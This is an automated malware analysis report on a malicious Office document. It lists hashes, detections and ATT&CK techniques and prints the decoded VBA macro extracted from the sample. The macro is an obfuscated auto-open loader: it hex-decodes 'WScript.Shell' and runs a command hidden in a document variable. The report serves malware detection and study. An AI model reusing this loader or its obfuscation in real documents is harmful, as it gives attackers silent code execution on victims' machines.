Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5881c6d22614e124…

MALICIOUS

Office (OLE)

179.5 KB Created: 2018-05-31 15:13:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 509b7d7ff8016b62b962bffbedb6d28b SHA-1: 4bbb636d61211898777392377419ba48c5704f69 SHA-256: 5881c6d22614e124f5c659d800381d9cc6d9cfff1d53d04680bfdd59ba5849bf
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains heavily obfuscated VBA macros, including auto-executing Document_Open and Workbook_Open routines. These macros utilize CreateObject and CallByName to execute a payload, as indicated by the 'Obfuscated auto-exec VBA loader' and 'VBA p-code auto-exec with execution tokens' heuristics. The script's intent is to download and execute a second-stage payload, as suggested by the use of CreateObject and the 'Ingress Tool Transfer' technique.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2252 bytes
SHA-256: 9af5720f38234d250ae7cb45602d3460ee1666f32e267640e4e921a5ee9171d6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function YTYPZC() As String
Dim aYTYPZC As String
aYTYPZC = "A099C47FA0A0A3A0A0D8857F7CA0A0A0A0CAD2A0A0B6A0A0A0BAC2A0A067A0BAD8C79CA076A099C6A77EBDBBA0A0ABA0A0"
Dim myYTYPZC = aYTYPZC
Dim myNEW = aYTYPZC & myYTYPZC
End Function

Public Sub UB_FM()
    Dim DYE_VVE As Object: Set DYE_VVE = VBA.CreateObject(D_WDO("5D5969786F767A34596E6B7272"))
    CallByName DYE_VVE, "Run", VbMethod, D_WDO(ActiveDocument.Variables("SZQYTYMMQW").Value), 0, True
End Sub
Private Function QNQMTV() As String
Dim aQNQMTV As String
aQNQMTV = "A099C47FA0A0A3A0A0D8857F7CA0A0A0A0CAD2A0A0B6A0A0A0BAC2A0A067A0BAD8C79CA076A099C6A77EBDBBA0A0ABA0A0"
Dim myQNQMTV = aQNQMTV
Dim myRTO = aQNQMTV & myQNQMTV
End Function

Public Sub Document_Open()
    Application.Run D_WDO("595E50655D525D5459525C4E58")
End Sub
Private Function WGDNMG() As String
Dim aWGDNMG As String
aWGDNMG = "A099C47FA0A0A3A0A0D8857F7CA0A0A0A0CAD2A0A0B6A0A0A0BAC2A0A067A0BAD8C79CA076A099C6A77EBDBBA0A0ABA0A0"
Dim myWGDNMG = aWGDNMG
Dim myYRT = aWGDNMG & myWGDNMG
End Function

Sub SXJ_WLWNSLVHR()
    UB_FM
End Sub
Private Function MZSPNM() As String
Dim aMZSPNM As String
aMZSPNM = "A099C47FA0A0A3A0A0D8857F7CA0A0A0A0CAD2A0A0B6A0A0A0BAC2A0A067A0BAD8C79CA076A099C6A77EBDBBA0A0ABA0A0"
Dim myMZSPNM = aMZSPNM
Dim myGSO = aMZSPNM & myMZSPNM
End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & D_WDO("595E50655D525D5459525C4E58")
End Sub
Public Function D_WDO(ByVal DYE_VVE As String)
   Dim W_ADE As String
   Dim RF_PA As Long
   For RF_PA = 1 To Len(DYE_VVE) Step 2
        W_ADE = W_ADE & Chr(CLng(Chr(38) & Chr(72) & Mid(DYE_VVE, RF_PA, 2)) - 6)
   Next
   D_WDO = W_ADE
End Function
Private Function NQSMXR() As String
Dim aNQSMXR As String
aNQSMXR = "A099C47FA0A0A3A0A0D8857F7CA0A0A0A0CAD2A0A0B6A0A0A0BAC2A0A067A0BAD8C79CA076A099C6A77EBDBBA0A0ABA0A0"
Dim myNQSMXR = aNQSMXR
Dim myYGD = aNQSMXR & myNQSMXR
End Function

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